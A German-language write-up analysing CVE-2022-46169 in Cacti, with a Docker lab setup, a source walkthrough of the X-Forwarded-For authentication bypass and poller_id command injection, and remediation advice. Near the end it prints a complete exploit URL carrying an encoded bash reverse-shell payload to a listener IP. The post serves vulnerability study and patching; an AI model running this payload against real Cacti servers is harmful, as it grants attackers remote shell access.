
Schritt-für-Schritt-Analyse von CVE-2022-46169: nicht authentifizierte Remote-Code-Ausführung in Cacti durch Authentifizierungsumgehung und Befehlsinjektion, mit Docker-Laboreinrichtung und Exploitation-Walkthrough.
Cacti ist ein Open-Source-Überwachungstool, das in PHP, MySQL/MariaDB geschrieben ist und eine benutzerfreundliche Oberfläche bietet.
Die Schwachstelle wurde im Jahr 2022 entdeckt und betrifft alle Versionen vor 1.2.23. Dieser Fehler erfordert eine Kette von Authentifizierungsumgehung und Befehlseinschleusung, um RCE (Remote Code Execution) zu erreichen.
In dieser CVE-Analyse werde ich Cacti in Docker ausführen und VSCode zur Codeanalyse verwenden. Die Einrichtung wird recht einfach sein, zuerst benötigen wir eine docker-compose.yaml-Datei, um eine neue Umgebung zu erstellen. Unten ist die docker-compose.yaml-Datei:
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Change host port to 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
Nachdem die Datei erstellt wurde, öffnen Sie die Kommandozeile und navigieren Sie zum Dateiverzeichnis. Führen Sie den Befehl docker-compose up -d aus, öffnen Sie den Browser und greifen Sie auf localhost:8088 zu. Zuerst sehen Sie eine Anmeldeseite:

Die Standard-Anmeldedaten sind admin/admin. Der Einrichtungsprozess wird durch die folgenden Bilder dargestellt:

Neues Passwort erstellen

Nach Abschluss der Installation haben wir einen Konsolenbildschirm wie diesen:

Beginnen wir nun mit der Analyse der Schwachstelle. Wie wir wissen, ist die anfällige Datei remote_agent.php, also versuchen wir, auf die Datei im Browser zuzugreifen:

Es zeigt an, dass wir nicht berechtigt sind, auf die Datei zuzugreifen. Es ist an der Zeit, den Quellcode der Datei anzusehen:

Es prüft durch den Aufruf der Funktion remote_client_authorized(). Lassen Sie uns tiefer in diese Funktion eintauchen:

Zuerst ruft der Server unsere IP-Adresse über die Funktion get_client_addr() ab und verwendet dann die Funktion gethostbyaddr(), um unsere IP in einen Hostnamen zu übersetzen. Der Server holt dann alle verfügbaren pollers aus der poller-Tabelle und vergleicht den Hostnamen jedes Pollers mit Ihrem aus der IP-Adresse übersetzten Hostnamen. Es gibt hier eine Umgehungsmöglichkeit innerhalb der get_client_addr()-Funktion:

Wir können sehen, dass der Server die IP-Adresse über einen der folgenden Header abruft:
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
Dies erlaubt uns, den Wert unserer IP-Adresse vollständig zu kontrollieren. In diesem Fall können wir den X-Forwarded-For-Header verwenden, um unsere IP auf eine gültige IP zu fälschen, was uns erlaubt, die Autorisierung zu umgehen. Der X-Forwarded-For-Header wird häufig verwendet, um die ursprüngliche IP-Adresse zu identifizieren, wenn ein Proxy oder Load Balancer zwischen Client und Server sitzt. Dies stellt jedoch eine Angriffsfläche für Angreifer dar. Da wir Cacti lokal ausführen, müssen wir eine IP-Adresse angeben, die zu localhost übersetzt wird, also 127.0.0.1.

Sieht jetzt gut aus, oder? Das ist jedoch erst der Anfang, Leute!!! Wir brauchen weitere Codeanalyse, um erfolgreich einen Befehl einzuschleusen und Remote-Codeausführung zu erlangen. Nach Abschluss der Authentifizierung führt das Programm diesen Code aus:

Der Server holt den action-Parameter und tritt in eine Switch/Case-Anweisung. Wenn der Wert von action pollerdata ist, ruft das Programm poll_for_data() auf. Diese Funktion ist anfällig für Befehlseinschleusung, daher werden wir sie sorgfältig analysieren.

Die Funktion nimmt drei Parameter $local_data_ids, $host_id, $poller_id entgegen, die aus den Anfrageparametern des Benutzers local_data_ids, host_id, poller_id stammen. Beachten Sie den Unterschied in der Funktion zum Abrufen der Parameter: Eine ist get_filter_request_var und die andere ist get_nfilter_request_var, es gibt ein zusätzliches n in der letzten Funktion, wir werden später mehr darüber diskutieren. Danach prüft das Programm, ob wir den Parameter local_data_ids bereitgestellt haben, und durchläuft jeden einzelnen, um Daten aus der poller_item-Tabelle basierend auf local_data_ids und host_id abzurufen. Die Abfrage wird in $items gespeichert.

Wenn die Abfrage Ergebnisse zurückgibt, durchläuft das Programm jedes $item in $items und tritt in eine Switch/Case-Anweisung ein, die $item['action'] als Switch-Wert verwendet. Es gibt viele Fälle, aber der Fall, den wir untersuchen sollten, ist POLLER_ACTION_SCRIPT_PHP, was bedeutet, dass action gleich 2 ist.

Sobald action 2 ist, führt das Programm den Befehl proc_open() aus, der exec() recht ähnlich ist, und verwendet $poller_id als eine der Variablen, die vollständig von uns kontrolliert wird. Zur besseren Veranschaulichung sollten wir auf die Datenbank zugreifen, um den Inhalt der poller_item-Tabelle abzurufen und zu sehen, wie er aussieht.

Aus der Tabelle sehen wir, dass wir die local_data_id brute-forcen müssen, um den poller mit action = 2 zu erhalten. Dies wird bei der realen Ausnutzung angewendet. Standardmäßig hat Cacti keinen poller mit action = 2, aber dies kann durch das Hinzufügen neuer Vorlagen wie device erreicht werden.



Nachdem wir ein neues device erstellt haben, greifen wir erneut auf die poller_item-Tabelle zu und sehen, dass es einen neuen poller mit action = 2 gibt.

Lassen Sie uns nun den gesamten Prozess noch einmal Revue passieren. Um den Fehler erfolgreich auszunutzen, müssen wir zuerst die Authentifizierung umgehen, indem wir den X-Forwarded-For-Header hinzufügen. Der nächste Schritt besteht darin, den Parameter action auf polldata, host_id =1, local_data_ids gleich dem entsprechenden poller mit action =2 zu setzen, in diesem Fall local_data_ids = 6, und am wichtigsten, der Parameter poller_id ist der Ort, an dem wir den Befehl einschleusen, um Remote-Codeausführung zu erlangen. Die Verwendung von get_nfilter_request_var() macht diesen Parameter anfällig. Während get_filter_request_var nur ganze Zahlen akzeptiert, erlaubt get_nfilter_request_var uns, einen String einzugeben. Darüber hinaus gibt es keine Eingabevalidierung für diesen Parameter, was zu einer vollständigen Befehlseinschleusung führt.
Lassen Sie uns einen Kali Linux-Server starten, der auf Anfragen lauscht.

Wir benötigen die IP-Adresse und den Port des Kali-Servers, um das Payload zu erstellen. In diesem Fall sind es 172.22.119.130 und Netcat läuft auf Port 4444.
Öffnen wir nun Burpsuite und beginnen mit der Ausnutzung. Das verwendete Payload ist ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261. Das Payload verwendet ein ;, um den vorherigen Befehl zu beenden und einen neuen Befehl auszuführen. Der Rest ist ein einfacher Befehl zum Erhalten einer Reverse Shell. Alles zusammengefasst haben wir die vollständige URL: localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261


Bump!!! Wir haben den Fehler erfolgreich ausgenutzt. Der Prozess und die Erklärung sind recht lang, aber im Allgemeinen ist dies keine sehr komplizierte Schwachstelle.
Die Hauptursache dieser Schwachstelle ist die Verwendung der Funktion get_nfilter_request_var() für den Parameter poller_id. Wir können sie in get_filter_request_var() ändern, um nur ganze Zahlen zu akzeptieren.

Wir können eine weitere Sicherheitsebene hinzufügen, indem wir den Wert von poller_id mit der Funktion cacti_escapeshellarg() bereinigen. Diese Praxis stellt sicher, dass nur gültige Eingaben in poller_id übergeben werden, bevor sie für weitere Schritte verwendet wird.

Dies ist das Ende der Analyse. Ich hoffe, Sie haben etwas Sinnvolles gelernt. Wie wir sehen können, treten Schwachstellen oft bei Benutzereingaben auf. Daher ist es sehr wichtig, eine ordnungsgemäße Eingabevalidierung anzuwenden, um unseren Server zu sichern. Remote-Codeausführung ist enorm, aber es gibt dennoch einen Weg, sie zu verhindern!!! Happy hacking!